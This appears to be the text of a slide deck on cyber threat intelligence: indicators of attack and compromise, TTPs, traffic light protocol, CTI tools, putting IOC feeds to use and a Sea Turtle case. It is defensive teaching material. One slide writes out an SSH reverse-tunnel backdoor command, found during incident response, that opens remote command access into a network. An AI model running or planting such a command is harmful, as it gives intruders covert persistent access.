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What is Cyber Threat Intelligence (CTI)?
• CTI = Data/Information + Context

• Data collected and analyzed to determine potential threat activity, 
capabilities, tactics, and intentions

• What CTI is not…
• Simply ingesting a feed and alerting on indicators from external sources
• Security via in-flight magazine

• Definition can vary org to org based on maturity
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CTI – Why do we Care?
• We don’t care, everyone go home. j/k
• Nearly all threat detects are built from some level of intelligence
• Actionable changes to organization risk profile based on data
• Ultimately CTI is about a better-informed cyber defender
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Where does CTI fit into IR?
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Obtaining CTI Data
• Mileage will vary as orgs mature
• Threat intelligence reports and feeds

• Open source and paid for
• Built-in to security existing security platforms
• Produced internally

• Product and platform telemetry
• DFIR activities 
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Focus Areas of CTI
• Strategic CTI

• Overview of organization’s threat landscape – vulnerabilities and risks
• Operational CTI 

• Information related to the timing, intent, and capabilities of a TA
• Tactical CTI

• Related to Tactics, Techniques, and Procedures (TTP) of a Threat Actor (TA)
• Technical CTI

• Focus on Indicators of Compromise derived from TTPs
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Common CTI Terms

• Indicators of Attack (IoA) 
• Indicators of Compromise (IoC)
• Tactics, Techniques, and Procedures (TTPs)

• How Threat Actors (TAs) be doing it…
• Traffic Light Protocol (TLP)

• Sharing is caring, but loose lips sinks ships usefulness of 
detection*
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Indicators of Attack
• Focus on the intent and overall 

process
• The observed TTPs agnostic to 

specific IOCs

Example: Operation Midnight Eclipse
Stage 1: Exploit Arbitrary Creation
Stage 2: Command Injection via 
Highjacked Cron Job

https://www.paloaltonetworks.com/blog/2024/04/more-on-the-pan-os-cve/

CVE-2024-3400 (PAN-OS: 
Arbitrary File Creation Leads to OS 
Command Injection Vulnerability in 

GlobalProtect)
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Indicators of Compromise (IoC)
• Individual forensic artifacts from IOA usage
• Atomic indicators can not be broken down into further 

components
• IP Addresses
• Host Names
• File Hashes

• Computed Indicators
• Hashes
• Zeek CommunityID Strings
• JA3/JA4

https://github.com/volexity/threat-intel/blob/main/2024/2024-04-
12%20Palo%20Alto%20Networks%20GlobalProtect/indicators/iocs.csv

https://github.com/volexity/threat-intel/blob/main/2024/2024-04-12%20Palo%20Alto%20Networks%20GlobalProtect/indicators/iocs.csv
https://github.com/volexity/threat-intel/blob/main/2024/2024-04-12%20Palo%20Alto%20Networks%20GlobalProtect/indicators/iocs.csv
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Pyramid of Pain
• CTI model describing threat 

actor cost/difficulty to change
• Much easier to change a hash 

value for a binary then change 
all the tools and techniques in 
use for a campaign

Filenames?
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Tactics Techniques and Procedures
• Commonly abbreviated TTP, but can vary slightly
• Tactics (Tools) refer to specific software components (malware) 

a threat actor uses
• Techniques are how adversary achieve the technical goals
• Procedures are how tactics and techniques are used together in 

a campaign against your organization
• An arbitrary example:

• Password guessing to gain initial access
• Using  Remote Access Tools (RAT) to control a computer
• RDP Chaining to move laterally in an environment
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CTI Collaboration
TLP Definitions and Usage
https://www.cisa.gov/news-events/news/traffic-light-protocol-tlp-definitions-and-usage
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CTI Tools
• Tools to over complicate things aid us in our CTI endeavors.
• Pay $$$ for a solution

• Threat Intelligence Platforms (TIPs)
• Open Source platforms

• MISP
• OpenCTI

• Feeds into your existing SIEM
• Example: Filebeat threat intel module into Elastic

• RollYourOwn
• Collective Intelligence Framework as proof of concept example

• https://github.com/hslatman/awesome-threat-intelligence 
  

https://github.com/hslatman/awesome-threat-intelligence
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Actions on IOCs
• So, we have some IOCs…now what?

• Contain/Prevent? – Definitely in the middle of an IR 
• But we are not experiencing <said> incident…

• Observe/Alert?
• Threat Hunt? 

• Relevance and Context 
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Operationalizing CTI 
How can CTI be used when in the form of IoC’s? ACTIONABLE
First, we need to understand some basic things:
1. Source: This is where we get the most context (potentially).
2. Type: Defines how/where the intel can be used (i.e., hashes, 

IPs, Domains,…yara rules)
3. Level of Dissemination: Public vs. Private
4. Age (of Indicator): How old is the information relative to when 

it was in use? (not when it was reported, consumed, or 
produced)   
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Operationalizing CTI 

• Alerting on threat intel feeds?
• Makes sense from Internet scale data perspective, but…

• Tons of data is expensive to search
• Often TA have moved on to new infrastructure

• Better to search in historical data
• Was there a compromise in the past?
• Can be more difficult to do with a lot of data 
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Operationalizing CTI 
• Alerting on threat intel feeds? Context is lacking…
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Operationalizing CTI 
• Alerting on threat intel feeds? CTI platforms contain more context…
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CTI Threat Feeds: Stats
• Sample Set:

• ~600K IOCs
• Open-Source Feeds

18%

The “Others”
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Observables Database
• Unique IOCs collected

• Hashes, IP Address, Hostnames, Root Domains
• First time seen, last time seen, count of times seen, sources
• Smaller long term storage costs, faster to search
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Story Time
• Scenario 1: Threat Intelligence (Consumed – TLP:CLEAR)
• Scenario 2: Threat Intelligence (Produced – TLP:RED)
• Scenario 3: DFIR to TTP Alert (Produced – TLP:RED)
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Story Time – TLP:CLEAR
• When good intel creates horrible alerts
• Github.com can be used for good and bad
• Full URL may be better than domain but…
• Likely by the time its in TLP:CLEAR its no 

longer being use
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Story Time – TLP:RED
SEA TURTLE (aka Marbled Dust, SILICON)

https://blog.talosintelligence.com/sea-turtle-keeps-on-swimming/

Targeted Verticals:
• Government
• Energy
• Think Tanks
• International NGO’s
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CTI – Ante Public Disclosure
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CTI – Post Public Disclosure

OSINT1 – PWC: The Tortoise and The Malwahare [2023-12-05]
OSINT2 – Strike Ready: Pivoting through a Sea of indicators to 
spot Turtles [2023-12-27]
OSINT3 – Hunt & Hackett: Turkish espionage campaigns in the 
Netherlands [2024-01-05]

1: https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/tortoise-and-malwahare.html
2: https://blog.strikeready.com/blog/pivoting-through-a-sea-of-indicators-to-spot-turtles/?s=08
3: https://www.huntandhackett.com/blog/turkish-espionage-campaigns
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CTI – Post Public Disclosure
OSINT footprint shifts operational tempo

+
time

t (–60 days) t (–30 days) t (–15 days)

t (IOCs in OSINT)

Actual Threat Activity Real-time Monitoring

Relevance of IOCs

Historical Lookbacks
Threat Hunting

RT Detection/Alerting
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TTP Example Scenario
• SSH Backdoor discovered during DFIR
• Creates reverse proxy to TA system

• Able to run commands from remote system into internal network
• Not doesn’t fit neatly in Mitre ATT&CK as a specific technique

ssh.exe sshtunnel@blackhillsinfosec.com -f -N 
-R 50000 -p 443 -o StrictHostKeyChecking=no

https://www.blackhillsinfosec.com/ssh-dont-tell-them-i-am-not-https/

https://www.blackhillsinfosec.com/ssh-dont-tell-them-i-am-not-https/
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MITRE ATT&CK 
• Pros

• Wide range of TTPs covered
• Attacker viewpoint focused
• Can be used to customize your own CTI model

• Cons
• Not exhaustive of all potential TTPs
• Post compromise focus
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Conclusion
• Your mileage may vary alerting on IOCs in CTI feeds
• Historic searches for new CTI better approach

• Have we ever seen this in our environment?
• Consolidate common CTI data types into observables database

• Start with the most common IOC types: Domains, IPs, Hashes
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About…us
Pictures and bios and stuff

https://www.blackhillsinfosec.com/team/derek-banks/ https://www.blackhillsinfosec.com/team/troy-wojewoda/

https://www.blackhillsinfosec.com/team/derek-banks/
https://www.blackhillsinfosec.com/team/troy-wojewoda/
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